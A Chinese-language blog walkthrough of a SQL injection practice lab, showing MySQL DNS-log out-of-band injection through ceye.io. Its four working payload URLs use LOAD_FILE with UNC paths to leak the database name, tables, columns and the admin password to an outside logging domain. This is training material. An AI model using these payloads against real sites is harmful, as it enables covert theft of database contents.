美文网首页
SQL注入靶场—MySQL下的DNS log注入

SQL注入靶场—MySQL下的DNS log注入

作者: N8_xEnn7nA1 | 来源:发表于2018-11-13 13:51 被阅读0次

首先,DNS注入并不是是对DNS服务器进行注入,而是利用DNS在解析的时候会留下的有用的日志,简称:DNS log注入。

  • 使用条件

有SQL盲注(或时间)注入的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban。
发现疑似命令注入的洞,但是目标站点不显示,无法确认是不是有洞
目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNS log来获取回显(一般为root权限)

首先,在ceye.io上进行DNS配置:

image.png

然后访问URL:

http://120.203.13.75:8120/index3.php/1.txt?id=1 and if((SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'-sh.l1s9s8.ceye.io\\abc'))),0,1)--+

查看dns log,可获取当前数据库名:

image.png

将mangzhu进行hex编码,接着访问URL:

http://120.203.13.75:8120/index3.php/1.txt?id=1 and if((SELECT LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=0x6D616E677A6875 limit 0,1),'-sh.l1s9s8.ceye.io\\abc'))),0,1)--+

可看到有admin表:

image.png

接着查询admin表的字段:

http://120.203.13.75:8120/index3.php/1.txt?id=1 and if((SELECT LOAD_FILE(CONCAT('\\\\',(select column_name from information_schema.columns where table_name=0x61646D696E limit 2,1),'-sh.l1s9s8.ceye.io\\abc'))),0,1)--+

可查到admin表有3个字段:分别是Id, username, password

image.png

然后查询password字段的内容,可得到flag:

http://120.203.13.75:8120/index3.php/1.txt?id=1 and if((SELECT LOAD_FILE(CONCAT('\\\\',(select password from admin  limit 0,1),'-sh.l1s9s8.ceye.io\\abc'))),1,1)--+

相关文章

网友评论

      本文标题:SQL注入靶场—MySQL下的DNS log注入

      本文链接:https://www.haomeiwen.com/subject/fqzkfqtx.html